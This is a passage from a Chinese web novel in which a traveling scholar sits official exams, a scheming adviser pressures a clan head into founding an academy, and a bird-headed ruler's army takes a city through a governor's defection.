然后一路游学过来,走了不知多少地方,学了不知多少骂人语,现在他感觉自己强得可怕。可惜陆行那边声势已壮,他不可能再和陆行相争了,从会稽老家出来,虞轻这一路不知见了多少世面,但还真没见过农人这样高兴的。 抵达济南郡时,在城郊一处村庄外,虞轻还是忍不住下马车近前,找了村老相问,那村老很高兴地就说了一些现在鸟大王的事迹,还带他去看了看家家户户门口竹竿子上挂着的鸡头。 见过大世面的虞公子也不由倒吸一口气。 你的意思是说,因为主君自称是鸟人,头长得像鸡,所以家家户户挂起鸡头……为了表示对鸟大王的爱戴吗? 第150章 勃海郡如今真不是之前光景了,尤其是浮阳,近半年来世族如过江之鲫,一路都是香车宝马,路过浮阳城郊时,那边的山坡上还有一群世家子弟正在办文会。 虞轻的车马就转停在城门东南角专门修的驻马场里,车马交付,然后给了十天的草料钱,虞轻就得到了一个写着“四十八”的木牌牌,然后看到自己的马脖子上也挂了一个四十八号木牌,便知道这是驻马场的规范管理。 所谓一切的规矩后面都有数不清的试错人默默贡献付出,之所以城中不让纵马,只允许驴车和骡车通行,是因为有世族子弟初来乍到纵马长街,偏偏骑术又不行,撞伤撞残撞死过人。所以为了保护城中百姓,也为了保护这些世族子弟(撞伤还能赔偿,撞死只能赔命),所以繁华热闹的浮阳城里见不到那些香车宝马,只有沉默的骡*子和怪叫的驴子在为世族拉车。 虞轻看了半晌,得出结论,骡车比驴车更好,骡子更安静些,毕竟现在浮阳城里不能坐马车,他要是得了官职,得置办座驾的。 现在专门负责考试这一块儿的有专门的部门了,官署设在菜市口附近,能有效地防止郡守府一天待十四五次客人,虞轻和书童一起到官署门口的时候,见上面的匾额书“科举”二字。 开科举士,谓之科举,虞轻仰头看了一会儿,书童玉树就问道:“公子,这字有什么特别的吗?” 虞轻这才收回视线,感叹地道:“吾好像看到一个更文明的大时代就浓缩在这两字之后啊。” 小玉树见怪不怪了,随时随地发表一些尴尬的演讲,是自家公子和陆行争夺失败之后的后遗症,他一直觉得自己讲不过陆行是因为没有人家脸皮厚的缘故。 官署倒是很负责的,虽然虞轻看起来不那么正常,但他在这儿站了有一会儿了,还是有个小吏过来问他是不是来参考的,官署这里有藏书室,备考要用的书籍都有留存,另外还有一张考试详情表也请他移步去过堂墙壁上看。 虞轻有些稀奇地道:“是位姑娘呀?” 前面带路的崔凝白马上就警惕地看了过来,大声地说道:“我跟你讲啊,这里门口的四个军爷不是摆着好看的,个个手里有人命的,你不要起坏心思。” 虞轻都愣了一下,但马上就后退两步举起双手,“我不是那个意思呀,就是见到女吏目有些惊诧,姑娘考学一定很厉害,大多数世族教女儿没那么上心的,如今能做到女官女吏位置上的,我猜一定都是大世族之女,在下会稽虞家子弟,名轻,字飞鱼。” 是的,虞飞鱼,这是虞轻的字。 崔凝白还是有些不放心,但被捧得有些舒服,嘴角翘翘的,但是不报家门,这是最近上头的新规定。 她板着脸把虞轻带到公示墙前,介绍道:“最上面的是本次考试的选官范围,年龄高于六十五,低于十五的不能靠郡丞以上的官职,因为年纪太大了嘛,脑子糊不糊涂还两说,主要是那个……你知道的吧?” 虞轻点头,这个年纪的郡守确实,你考上了过去,能干几年呢?这说明考试不是一次性的,是真的考虑到做官之后的事情,而不是悬着一堆官位刻意吸引人。 崔凝白又说:“这个清河郡守的要求是最高的,以前没那么高,它要求很多方面的,然后有很特别的一条,如果是世族男子考中的话,族中就一定要有正规科考上去的女官女吏三人以上。没有这个条件的话考上了也不行,但会得到一个留用牌,等族中有三位女子中选之后,拿着留用牌来找大汗,那时候如果有郡守官职空置就可以替补,没有的也可以在勃海这边任职。” 虞轻又点点头,然后愣了一下,他的家族在会稽,不说有没有女眷能考试通过,就有那么些个人,他要为了任官把她们带过来考试吗? 好吧,也不是不行,这可是一郡之郡守啊! 虞轻哭笑不得地道:“买一送三,你们的主君是会做阳谋的。” 崔凝白嘴角从翘翘的拉平了,“不是阳谋,是秋初的事,秋初试里,有一位女郎考官通过了,她正好能任泰山郡丞,学识极好头脑又聪明,但是她的丈夫考试没过,不许她去上任,争吵间把她打死了。” 虞轻摇了摇头,“下作犬彘,怎配得聪慧佳人。” 崔凝白抽了一下鼻子,声音有些闷闷地说:“你这样年轻又是外地来的,别想考郡守的事了,来,往底下看,实际点!东莱缺一个主簿,泰山郡什么都缺,浮阳最近空缺了三名刑名官员,还有范阳那里有个县官犯事砍了头,县令这个位置也很稀缺的,看你自身的学识本事了。告诉你一个内幕消息,官吏考核相隔四个时辰,官员考核两个时辰交卷,所以你要是怕不保险的话,考完官试休息休息考吏目也成,如果两个都中,按官录取。” 她一口气说了这么一大通,又给了虞轻一个借读牌,“往里边去是藏书室,可以外借但是必须三天内还书,你最好就在里面看,我们每天都有打扫的,很干净而且人不少,不懂的地方可以相互探讨。” 虞轻对崔凝白很有好感,他在江东时很少能看到别人家里的女儿,出门游学时倒是被不少世族追着送女,但那些女子美则美矣,世族规训出来的工具罢了,哪有崔凝白这样鲜活可爱,但是没等他表露一二,就被推着后腰赶进了藏书室里。 藏书室地方很大,约莫占这个官署的二分之一,书架很多,中间有席子铺地没有桌案,隔了几扇屏风又女子说话声音,虞轻就猜想可能是女学子在避男人,也没有靠近,这是世族通用的礼仪。 他走过几排书架看到不少人或坐或立在翻书,有人专心致志,也有人书籍盖头席地好睡眠,他翻看了一些书籍,其中他能倒背如流的就有不少。先前看过考点范围,虞轻已经大概能知道自己是什么水平,他从不临阵磨枪的,便随手抄了一本闲书山海经夹在胳膊下,寻了个面善的青年人攀谈。 青年自称清河子弟,没有多聊家族的事情,反而压低声音对虞轻说道:“这里的书修过不少,不要觉得看过就没事了,你要看他们修过的部分,不然考试会很吃亏。” 虞轻惊讶,然后翻了翻手里的山海经。不是吧?这么闲的吗? 就是这么闲!说到闲,现在整个东北地区,最闲散的人员就是林一了,因为她真的不管事啊,当主君最大的好处就是,她想干啥就跟底下的军师团伙说,然后他们就会给出解决方案,林一现在每天日子舒服得哟!怪不得说自己当了老板就会喜欢上班了,做老大的快乐常人想象不到! 然后闲得林一开始观察人类了。 最近崔殊在往清河郡出差,车马悠闲看了一路丰收景象……当然也看了一路家家户户挂鸡头,他反正是不怎么理解啊,林老大那个鸟头他见过不少次了,现在羽毛长出来了,让她看起来更像一只鸡了。不过比家鸡漂亮很多,像山鸡的那种,比山鸡也漂亮很多,但是形状颜色什么的还是很像啊,也就导致那些村庄人家门口挂着的鸡头跟林一的头看起来更像了。 谁研究的挂鸡头来表示爱戴鸟大王的呢?多少沾点反贼成分吧? 崔殊反正是看得难受,这一路几乎都没进村,到了清河郡,没急着去办事,而是去驻军营地看了看,段凛在清河布置了三千兵力,虽是偏师,但也经常过来搞联合训练,看起来有模有样的,他还在军营里吃了一顿饭,到下午的时候才上门拜访清河崔氏家族。 清河崔氏是很古老的一支崔氏,崔殊和这边论不上辈分的事,就以年纪见礼,自称子侄辈。清河崔氏家主崔绚,就是那个原清河郡守,他现在可以算是个世族笑话了:考试通过了,而且走了关系嘛,走的崔殊的关系,在自家本地重新任职的清河郡守,屁股还没坐稳当,就被人举报清河崔氏子弟开青楼,他又又被下职了。 崔绚年近五十,他也很诡异地和范阳崔氏家族一样没有留胡须,看起来还是个老美男的模样,看着崔殊的眼神可称不上和善。 崔殊厚着脸皮说道:“叔父,之前我也是没想到,现在科考实在太严苛了,清河郡守这样的肥差人人盯着,我很费事才让您得以留任,没想到清河崔氏族中还有那样的害群之马,真是……唉!” 崔绚揉了揉额头,不怎么喜欢崔殊这假惺惺的样子,直接说道:“异人贤侄,你若是特意上门来嘲弄老夫的,就不必这样弯弯绕了。” 崔殊双手一摊,无奈地道:“三崔祖上是一家,侄儿只是来给叔父一条明路走,一条比清河郡守还要好的明路,保证今日只要叔父答应,不仅没人再敢嘲弄叔父,他们还要求着捧着您,一辈子都得给您上赶着送礼。” 老美男迟疑了一下子,看崔殊的眼神犀利了起来。 老夫早有耳闻,林女君口味不同常人,这脏心烂肺的崔异人,不会是想将我这老骨头送去做什么不可言说之事吧?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 150-160 第151章 当然是不可能的,崔殊辛辛苦苦跑一趟可不是为了拉皮条,别讲崔绚了,就是拉上整个清河崔氏做这行,也用不着崔殊跑这一趟。 他放下手中的风氏瓷茶盏,笑眯眯地开口揭晓答案,“我主有意在清河设立一所学宫,分东西二苑,广收学生,第一届会额外招收一些阵亡将士的子女入学,学宫之中分年级高低,十二岁以下学一些世族基础启蒙,十二岁以上三十岁以下,教习为官之事,法理规范等,日后这座清河学宫,出则为官,劣而为吏,最次也能依附于人为一师爷幕僚,叔父便如至圣先师一般,桃李遍地啊。” 话说得非常美,崔绚却是悚然一惊。 至圣先师这个词不是夸人用的,不是给师长用的,也不仅这年头,从古至今都是特指一人,孔圣。而孔圣的教育主张最主要的一点是“有教无类”,他的弟子不分贫富贵贱,而且主张学识下行。 在只有贵族能接受教育的春秋时代,他癫得要命,百家之中并不吃香,但随着儒学逐渐被推崇,孔子成为至圣先师,他的每一句话都被再三解读美化,谓之“圣人言”。 寒门子弟通常会因为圣人当年的一句“有教无类”鲤鱼跃龙门,但其实孔子的主张是,平民贱庶均可受教育,这一点就被大儒们集体装睡无视了。 崔绚嘴巴张合几下,因为手里的茶盏几乎握不住,先放下了茶盏,才斟酌着向这个同姓的年轻后辈开口,“异人贤侄,开办学宫是好事,可是招收那些平民子女入学,是不是有些……嗯,平民大多愚昧无知,粪土岂能上墙,置顽石于高堂,有损主君威名啊。” 崔殊还是笑着道:“三岁小儿顽闹,不教而诛之谓虐,既入学宫当然是遴选聪慧之子,岂有专挑愚钝者入学的道理,叔父,场面话我不大会讲,你我不妨把人皮拉开些,推心置腹详谈。” 崔绚不自觉坐正了些,略微犹豫片刻,说道:“贤侄,我考中又被免官,如今清河崔氏成了笑话……是你故意在坑害于我,目的就是为了迫我应承开办学宫这事,而我为了洗刷污名,不得不如此,对吧?” “叔父,虽说推心置腹,你这也太实诚了些,”崔殊感叹一声,然后神色一正,“是啊,确实如此,你今日若不答应,我另找河间几个大族,甚至如果不是现在的孔氏没几个大儒坐镇了,重新开办稷下学宫也不是不可能,而我会报复清河崔氏的,三崔变两崔也不是不可能,你让我办事不利,在同僚面前丢人,以为什么代价都不要付的吗?” 崔绚哑然无言,他发现自己真的不是很喜欢看到崔殊不披人皮的样子,一肚子的脏心烂肺。 崔殊又捧起茶盏,声音冷冰冰的,“世族无非为名为利,名利我都给你,叔父,就坡下驴吧,不然你还能怎么办?教些平民学生脏你的手吗?日后这些人做官做吏,再往后青史留名,你可做第二位至圣先师,还有什么不满意?世族是铁板一块吗?春秋时孔圣就在教贱人之子读书了,你只是教些平民学生,还是阵亡将士之后,你说说看有什么不满的?” 崔绚压下火气,说道:“太急了,林君只得三分天下而已,她若是帝王……” “那就不是我坐在这儿迫你应承了,是叔父你送礼上门求我了。”崔殊不耐烦地打断道:“以后可能清算世族的,我主一向爱怜子民,我给崔氏留的路是最好的,给叔父你留的是第二好的路,你今日走是不走?” 崔绚想给他来一记老拳,还有很多矜持的话没有讲,但是看到崔殊放下茶盏起身就要往外走,还是慌了一下,咬牙低声道:“走!走就走!只是出了这个门,你要复我崔氏清名,别再、别再叫人传崔氏子开窑子的事了!” 是的,那些事都是崔殊刻意让人在传的,他回过头来,笑如春花一般灿烂,“叔父还是深明大义,那就说定了,秋收之后动工,学宫不如就建在河间和清河交界吧。” 老崔才没兴趣管什么学宫建在哪儿,等崔殊离开后,他往后一瘫坐,抹了抹额头,一脑门子冷汗。 而崔殊才出崔氏老宅的门,肩膀就被抓住了,他没回头,因为看到肩膀上搭着的是一双巨大的鸟爪子,下一刻身体一轻,林一抓着他低空飞行了一段,直接把他捎带到了河间驻军营地大门口。 崔殊揉了揉肩膀,抱怨道:“主君,我的车马僮仆还在清河,他们肯定吓坏了。” 林一摆了摆翅膀,瞎说,她不信还有人不认识她这张鸟脸,前两天去西北都有人认识她,跪拜喊她鸟大王来着,她帮着姜命那边接收了好几批逃难的西北流民。 她鬼鬼祟祟就往军营里走,崔殊跟着,脸上两撇小胡子随风而动。 林一很刻意地解释道:“段凛最近不怎么要钱粮,清英那边说,怀疑他偷偷摸摸干些山匪勾当,我觉得不至于,所以来看看。” 现在河间驻军七千余人,清河三千兵马,段凛一人镇守两郡,每个月都要靠军饷养着的,河间这边都已经做好了出血准备了,但是段凛没要,他养着一万多号人还不往郡内伸手,这就让人很怀疑他来钱的路子了啊。 崔殊坏笑道:“没准是哪家世族看中段凛年轻有为又美貌,想要投资一二,可怜弱水郎白天带兵,晚上出去陪佳人,为了军饷屈身……” 林一鸟脸对准崔殊,也压低声音八卦道,“不能吧,段凛很有骨气的。” 崔殊声音一点都不低,“或许就是因为曾经守城守到粮尽,差点饿死过的人肯定会有一些变化的。” 他这边话音才落,就和迎出来的段凛撞了个脸对脸。 林一马上一翅膀把崔殊推开三米远,举翅保证道:“我可没有听信谗言!” 段凛有些懵,他并不知两人在聊他的事,恭恭敬敬地把林一和崔殊请进大营里。主帐挑得比较高,有三四米,就是门框不够宽,好在林一只是蓬松,一夹身子就挤进去了,看里面有模有样的,很是满意。然后问道:“段凛,我也刚来河间不久,清英说你两个月没有去领钱粮,怎么回事啊?” 是的,林一就是很直白地问出来了。 这要换成崔殊,得迂回探查一番,要是没有结果才会上门来试探一二,可不敢当着七千号士卒面问这个,不怕人家营中起火火龙烧仓呀? 但是段凛也是直肠子,不假思索地道:“主君先前说可以找世族弄一些军费,因为弄到的比较多,所以暂时用不上郡中的钱粮。” 崔殊喝水的手微微颤抖,他去威胁人都没有这么直白的啊! 林一也想到自己之前的叮嘱了,点了点头,压低声音说:“哪些世族给得多?给得多的肯定有问题。” 段凛有些尴尬地看了崔殊一眼,林一马上就懂了,哦,清河崔氏给得最多。 崔殊一摊手,“家大业大难免如此,不过崔绚最好不要动,清河学宫的事已经商量好了,在学宫落成之前,把清河崔氏里的渣滓挑拣挑拣倒是可以。” 林一挺高兴的,一鱼两吃。 接下来崔殊询问了些细节,圈定了几个有问题的崔氏族人,叮嘱段凛不要闹大,抓了人回来不要急着弄死,最好先审问一番,毕竟事关人命,崔殊对自己的头脑虽然自信,但当着林一的面不好这样。 段凛记下人名,见林一准备走,犹豫了片刻,问道:“主君……张掖那边,段氏的情况还好吧?” 林一才从那边回来呢,闻言点点头,“雍西今年应该是丰收的年景,段家主现在是武威郡丞了,配合姜命干了很多事,你放心就行,今年你要不要回家过年?我去捎姜命的时候可以带你过去。” 段凛这就摇头了,很诚恳地道:“如今河间清河这边离不得人,而且我平素在居延塞,也不常见家人,只要知晓段氏情况还好,父母安然就够了。” 林一现在又恨不得段凛也能有丝分裂几个出来了,实在是十佳好下属。 和崔殊两个人往清河郡内走,林一看着家家户户门口挂着的鸡头,对崔殊感叹道:“我都不知道这里有挂鸡头的习俗,上次还吓了一跳,对了异人,这个习俗是怎么来的?我知道斩鸡头烧黄纸是为了拜把子,有时候杀鸡是祭祀,挂鸡头是什么含义呢?” 崔殊一噎,眼神游移。 这个、那个……他决定承认自己不如王澈博学多闻了。 ** 崔绚,字明彩,出身清河崔氏,百官之先师也,崔师少有宏愿,为圣师继遗志,五十而立学宫。有教而无类,平民贱庶皆可为其徒,一日崔师叹曰“若非崔殊,不至于此”,不知因其何也。崔师年八十一,故于清河旧宅,卒时清贫,一生未受厚礼,弟子均服丧三年,皆如亲儿女,有悲者孝六年,更胜亲子。 ——《史记。崔氏世家》 第152章 今年是丰收年景,小农社会一年忙到头就两个事最重要,春耕和秋收,但是今年少了收税这一项大头忙活,官员督促农人收割之后,很快就能腾出手来举办秋日试了。 比起第一次科考的随意,这次的秋日试就显得庄重许多,地点在浮阳高氏大宅的藏书楼中,以书架分隔考场,官员试有百名考生,分上下三楼同时开卷,虞轻就在三楼第二排靠窗的位置落座。 让他感觉分外不自在的是,三楼多是女考生,他前后右侧都是女郎,身上染着淡淡的香气,考场气氛因此显得不那么严肃,倒像是他误闯了女子集会一般。 发卷前他还听女郎们闲聊呢,这个说我只是家中凑数,那个说女子无才是德,还有拖着哭腔说自己平生只读女诫的,都是家中大人叫来凑数,虞轻也不由感叹,为了郡守的位置,却叫这些姑娘出来抛头露面,实在不是大家长所为。 直到拿到卷子,虞轻向来有阅读三遍下笔的习惯,他才阅看到第二遍,一回头就看到右侧那位平生只读女诫的姑娘绷着小脸落笔如飞。 不是,我记得第一题好像是比较难的审计题吧? 说是这么说,虞轻倒也没有急,聪明人看待世界的眼界是不一样的,在他看来,清河郡守的位置很明显不是给普通世族子女准备的,这个位置的详细要求指向也很明显,就是底下一楼考试的琅琊王氏家主。 据说人家族中已经有十几位族人成功过考出仕了,女子数目也不是最低要求的三位而是七位,五位王氏自家的女郎,两位嫁入王氏的媳妇,而一般人就算考得上,也刚好符合全部条件,他有那个本事上手一郡事务吗?林女君会放手让一个毫无经验之人去管理清河那样的大郡吗? 不仅虞轻这么想,一楼正在磨墨的琅琊王氏家主王仪也是这么想的,他信心满满地磨了浓墨,大笔一挥,笔走龙蛇。 虞轻写卷子用了半个时辰,然后自行阅卷了半个时辰,一直到二楼那边有人提前交卷,他才起身,第二个交了卷子,至于下一场的吏目试,他就没有去报名。 出考场时,虞轻看到崔凝白和一些小吏混在一起,顿时欢欣,大步走了过去,先行一礼,笑盈盈地说:“崔女郎,又见面了。” 崔凝白往里看了看考场,疑惑地说,“考完了?哦!提前交卷?你傻呀你!提前出来不过提前松快个把时辰,要是在里头,可以随时查漏补缺,现在可好了,出来了就回不去啦!” 她那张生动的小脸,表情从疑惑变成恨铁不成钢,又带着一些莫名的亲近,让虞轻心头一动,正待吹点牛皮,就看到里间走出三个结伴同行的女郎,崔凝白脸色一喜,几步迎上去。 “苏姐姐好,苏姐姐今天的裙子好漂亮呀,我看白姐姐笑得最得意,一定是考得很好了,周姐姐也笑了,哎呀,若有哪位姐姐日后做了大官,提携提携凝白就好了,姐姐们都是做大官的料子,可怜凝白考了三回吏目试啦,都没有考到好位置……” 那三个好姐姐马上温柔地安抚起这个可爱又会撒娇的小妹妹来。 虞轻摸了摸自己的下巴。 等崔凝白拍完马屁,心满意足地回来,看到虞轻还站在原地,马上声音很甜很脆地问他,“飞鱼公子,你考得怎么样呀?我就说你应该迟些交卷的,还是今天的卷子不是很难?好多人提前交……” 虞轻思考了一下,没有回答考试的问题,反而叹气道:“崔女郎,你觉得轻的字飞鱼,是否改成肥鱼要好听一些?” 崔凝白茫然,虞轻苦笑一声,噫!他只是没想到,女官女吏的制度才在这里推行了没有一年,就已经有广撒网多捞鱼逢人便拍马屁的小吏存在了,害得他以为神女有意呢。 那边藏书楼内,琅琊王氏家主王仪对自己极有自信,但自信的同时也不能轻慢,一直待足了两个时辰才交卷,并且人上年纪了总会有些三急问题,连这他都忍住了,没让监考官给自己的试卷上盖个戳,现在考生把那个“中途曾离场”的戳儿戏称为屎戳。 虽然没有任何证据表明试卷加盖屎戳儿会影响考分,但是落选的肯定会想可能是屎戳的问题,没落选的要是没考上心仪的职务,也会推卸责任,毕竟一场考试下来有几个人真的能称心如意?所以屎戳既是现实问题,也是玄学考量。 王仪撇着腿出来,走得像个螃蟹,虽然很想马上去茅厕,但看到一对风姿不错的世族后辈站在那儿闲谈,顿时说教的老毛病犯了。几步过去,板着脸等崔凝白小心翼翼地问了好,虞轻也出于礼节对他拱手折身后,轻咳一声,恨铁不成钢地道:“考吏目试的?考试在即,别人都在复习功课,你们却还在这儿打情骂俏,若两下有意,应当携手并进才是,怎么互拖后腿?不晓得一寸光阴一寸金的道理!” 崔凝白身段很柔软,马上毕恭毕敬地称是,连打情骂俏都肯认,毕竟能得到王家主教导的人可不多,日后这位做了郡守,倘有个调任的机会呢?这就是在上官面前混个眼熟啊! 虞轻就有些无奈了,好在王仪也就是说几句,这半年时间,他在家里见不得人不温书,只要闲着就会去说教,他还有些意犹未尽呢,但是肚子支撑不住了,勉强又训斥几句,撇着腿儿就走了。 三日后放榜,现在放榜的规矩还有些乱,就是公示在官署墙壁上,有的世族老爷矜持,叫年小灵活的书童挤进去看,也有的年轻人急着看榜,自己往里挤着看的,虞轻在租住的小院慢条斯理洗漱系冠带,来到菜市口官署的时候正好和矜持的王家主一起进门。 王仪还记得虞轻呢,眉头一皱又想说教,但心里又急着看榜,只是对虞轻点了点头,就拨开拥挤的人群去看墙壁上的公示榜,只见郡守那一栏底下三个名字。 虞轻、苏殷娘、王仪。 老头马上遭不住了,前面两个是谁啊?不是,为什么他会在最后一个?不不不,重点是第二个那个很明显吧?不会有父母给儿子取苏殷娘这个名字吧?女的?女人考上郡守官位了? 虞轻其实不意外他能考中,他是会稽虞家宗子,他爷爷是郡守,父亲是郡守,教导他自然也是不遗余力,他对一郡之郡守的权责范围可以说是了若指掌。先前他还曾和陆行争江东联盟盟主之位,惜败后游学四方,更增长了许多见识,他意外的是自己一个外来人员真的能被录名第一。 不多时三人都被请进勃海郡守府中,王仪还是老脸茫然,他左边是虞轻,右边是苏殷娘,人家俩人岁数加一块儿不一定比他大,更何况他还想起来三日前教训虞轻的事了,这会儿脸色很诡异,像是三天没解大便。 苏赫阿那请三人都落座,然后给他们看彼此的考卷,很诚恳地说道:“王老先生卷分近乎全对,只是有一道会计题算错了,这不是大疏漏,通常郡守有辅官属官查漏补缺,而王老先生族中出仕情况满足一切条件……苏娘子则也是卷分近乎满分,但有一项律令题判定不正,而苏氏加上苏娘子本人,也满足所有条件。” 最后他看向虞轻,略有些为难,“而虞公子全满分,但籍贯是江东会稽郡,族中无人在此任官,所以这次录名实在为难,便请三位过来相商。” 虞轻很客气地低头道:“在下游学到此,并未想过得这样重要的差事,大汗不必因我为难。” 苏殷娘则是先想了想,很直白询问地道:“未知殷娘有哪处判定不正?” 苏赫阿那失笑,见王仪一副魂飞天外的样子,暂时好像没有话说,便拿起放在桌案上的考卷,请人递给苏殷娘,说道:“第五题,仆从窃盗判定题,苏娘子判定仆从窃盗坐三年,这没有问题,但又补了一句连坐其家人,现行律法没有此条,阅卷官不明其意,苏娘子并未写明如何连坐,连坐到什么程度。” 苏殷娘便直截了当地道:“是我失误没有写明,此处连坐其家人是指主家驱离窃盗者全家,因为世族用人多用家生之仆,仆人窃盗坐三年,其家人难免不心生怨怼,所以这一家人不再录用,要撵出府门驱离他们,我想将这条写入法案之中,以免有人因此受害。” 堂上众人的目光都看向苏殷娘,连王仪都抬了抬头,然后摇摇头。 年轻气盛,想法狭隘了些。 果然苏赫阿那略微摇头,说道:“不提写入法案之事,原法案未有,此题就是不对,此外连坐之事过于严苛了。” 苏殷娘反驳起来,“大汗,奸者藏奸,盗者养盗,乱世不用重典如何行?” 虞轻和王仪对视一眼,都有些茫然,这姑娘是不是有些太勇了? 第153章 苏赫阿那其实没有生气,他这辈子已经走过许多岁月,对年轻人甚至是格外宽容的,没有和苏殷娘反复辩论,而是温和地解释起来。 “其一,法无可依,连坐乃是世族私刑,私刑不可上公堂,公私不可混为一谈,所以此题错判,是对是错?” 苏殷娘果然是个认死理的人,只问对错无关理念的时候,她便略微犹豫一下点了点头。 虞轻和王仪同时松了一口气,然后就听苏赫阿那轻叹一声,说道:“其二,法理之外也有人情乎?倘一子窃盗,而其父母和离已久,与母多年不见,其母是否要受其牵连?一子窃盗,其兄嫂与他不和,夫妻二人勤勤恳恳做事,又为何要受其连坐?为官者,为人父母也,贪愚顽劣,惩之是为救之,严刑峻法只可震慑一时,从根子上教正风气才是一世之果。” 苏殷娘这次没话说,王仪其实本能想跟着叨叨几句来着,老人家,对这种说教场面毫无抵抗力的,但一张嘴感觉不对,怎么好像他找不出其他的道理来升华一二了。 苏赫阿那语气和缓一些,说道:“并非苛责苏娘子,而是为官一任需谨慎,范阳郡中有方城县令之位空悬数月,任期三年,如若不弃……” 苏殷娘眉头拧起,显然是不怎么情愿,但很快想到了什么,起身行礼应允下来。 才高而傲物,很正常的道理,如今几乎没有几个世族重视女子教育,有过分的真的就是一卷女诫教到大,能在这种情况下拥有不逊色于一族家主和宗子的才学本事,可见天赋勤奋心气一样都不缺,只是接人待物方面差了些而已。让她去管一个县也并不是看轻了她,而是去地方上历练打磨。 安排好苏殷*娘,苏赫阿那看向王仪,王仪穿得老成还要留一把胡子,但他其实差不多可以算是苏赫阿那的同辈人,只是习惯性打扮显老,,苏赫阿那没多想,仍然温和地安抚他道:“王老先生在琅琊牧守多年,经验足够,更难得的是琅琊世族风气极佳,四次考试都踊跃参与,出仕多人,若能将这份风气带往清河,也是大好事。” 这话很明显了,给王仪吃了一颗定心丸,苏赫阿那又看向虞轻,虞轻笑道:“不知大汗准备如何安排在下呢?在下是真心想要留在这燕齐之地,做一县令也可。轻游学四方,唯在此处,方觉有真王气。” 苏赫阿那脸上露出一个笑容来,却有些无奈地道:“公子暂时可在勃海安身,我为公子安排的并非县令之职,秋收之后,可敦就准备攻常山郡,与西北那边接壤,常山郡如能攻下,巨鹿就从前线退为二线,到时候巨鹿郡,也需要一个郡守。” 苏殷娘对地理不甚熟悉,王仪知道常山郡的方位,不过略微迟疑,要打常山郡可不容易,在他看来日子难得安定,正该是治理内务的时候,结果前线又要动刀兵,难免有些发愁。而虞轻是真的从那边转过一趟的,顿时在脑子里一盘算。 常山郡与巨鹿相邻,巨鹿郡目前是林女君的地盘往外的一个尖角,而常山郡如能攻下,便是将这个尖角扩成了一处门户,燕齐的西天门。常山郡可成为巨鹿的一道屏障,将巨鹿平原从前线化为二线,西北那边江骋如若来攻,巨鹿本身无险可守,常山则是典型的易守难攻之地,将华北平原和太行山防线相结合,就像是给自家农田上一道围墙。 最重要的一点,控制住了常山郡后,林女君的势力将彻底化被动为主动,西进可攻太原,威胁西北势力的腹心;南下可取邯郸,切断洛都和河北的联系,进一步孤立魏朝势力,而两家想攻林女君这边,却要拿下常山郡才行。 这一步不是妙棋,而是正常人都会走的棋,常山之于林一,就像是上谷之于江骋,之前之所以没去干,额……只恨财力不足啊。 现在休养了一段时间了,后方安定,可以抽些兵力出来干了,马上就得干,又又又是同步进行的战事。江骋带兵自雁门出发前往上谷郡,没准能顺便打个代郡下来,林一则是在确认江骋出发后,马上组织兵力近万去攻常山郡。没办法,兵如水势,她要打常山郡就不能给江骋机会从太原过来捶她,当然要是她这边打得比较快,偷太原上党几个县城也还行。 万军之中骑兵仅有两千,但她把兵种玩出了花样,步兵之中有盾兵枪兵弓兵分门别类,骑兵分轻骑重骑和弓手,骑兵由呼兰霍兰率领,这玩意儿打先锋心疼是心疼,但是真的好用。 这趟辎重带得不多,林一一向是打闪电战的高手,僵持太久没有什么好处,从巨鹿集兵出发,沿滹沱河平原行军速攻下曲阳县,万军兵力两日破县城自不必多说,随后稳扎稳打,打开九门县城,这九门县就是真定的门户。 深秋之夜,真定城外,约莫八千多士卒正在勤勤恳恳扎营,就听真定城头几个老军扯着嗓向下喊话,乡音比较重,林一头一次听人说话还用上了两个翻译。 翻译一号竖着耳朵听了半晌,说道:“大王,大王诶,里头絮絮叨叨说啥砍了守将的脑袋瓜儿诶……” 翻译二号怒斥,“狗食!放恁娘屁!人家明明说郡守要投诚,求大王别剁他脑瓜子,守将估摸着是让人给拾掇咧,剩下哩没听真。” “恁没听真,俺听得真真儿哩,就是有人把守将给咔嚓咧!那不是郡守嗝儿屁还能是谁?这帮常山老侉说话口音真重哩!” “你扯谈!那守将和郡守是俩人哩!不能都带着个守字儿就是一个人儿! 林一抓着脑袋听了半晌,鸟瞳诡异地瞅了瞅这两人,俺听恁俩的口音也差不离啥。 不过两方人扯着嗓子盘了一会儿还是盘清楚了逻辑,真定城是常山郡的郡治所在,常山郡守阳栋和守将发生了一些口角,然后郡守摔杯为号,十几个刀斧手上去砍了守将,半道上又被守将的心腹伏击,受伤严重。现在城头上是郡守的儿子带着守将的人头来开城门,开城门之前要求林一和他约法三章,进城后不可纵兵劫掠,不可侮辱妇人,不可残害生灵。 少年郎十二三岁,说话是很谨慎的,本来想说不可以杀城中守军,但是又怕林一钻文字空档,不杀守军杀百姓,憋了半晌来了句不可残害生灵。 林一还以为真定城不让开荤呢,不过还是应承下来。 投诚这种事,最开始是两头怕的,投诚方害怕对面不讲武德,进城翻脸,受投诚的一方也怕啊,怕对面等他们一进城来个关门打狗,所以小公子犹犹豫豫,要先交换人质,他这边可以出他自己,而林一这边,他在呼兰霍兰和林一两个人中间来回看了几眼,指了指林一。 林一咧嘴开了个玩笑,“一换一。” 没人笑,压根没人听懂她在开啥玩笑,总之是一个下楼一个上去,好在双方都是老实人,没有玩花样的意思,林一这边顺利进了城,郡守府和附近的街巷挤挤挨挨几千人,分兵站岗,有的就打草席地铺眯瞪一觉。 林一去瞅了瞅重伤昏迷的常山郡守,安排了些事务下去,回头看到板着脸替亲爹交了城之后,整个人都瘫软在椅子上的阳小公子,不由得叹了口气。 战事啊……今夜把这么小的孩子吓坏了吧? 她几步走过去,想把小孩拎起来,找个床铺放下来着,但她刚一走近,阳小公子就自己爬起来了,揉了揉眼睛,还行了个礼节,很懂事地说道:“家父昏睡前已经交代了一切,林君入城,真定城自有招待……” 林一笑着摸了摸他的头,“不必接待什么,能不用攻城就下城是好事,明日还有事要忙。” 阳小公子脸色微白,但还是坚持地说道:“是家父昏睡前一字一句交代,还请林君赏脸一观,若不满意还、还有其他。” 林一挠了挠头,顺着小孩的意思在椅子上坐了下来,然后阳小公子击掌三下,堂外忽有丝竹之声响起,随后有铃铛声叮叮当当,先有几个伶人轻歌曼舞入门来,接着就有世族青年以扇遮面跟随者伶人的脚步,一个、两个、三个……有六个那么多,齐齐却扇而下,露出或清俊或靡丽或冷傲的面容来。 这些青年的风格还不一样,有的笑起来甜甜的,有的满脸屈辱但是折身行礼,还有的一脸风流姿态毫不怯场,但是总体来说就一个相似点,长得都蛮俊。 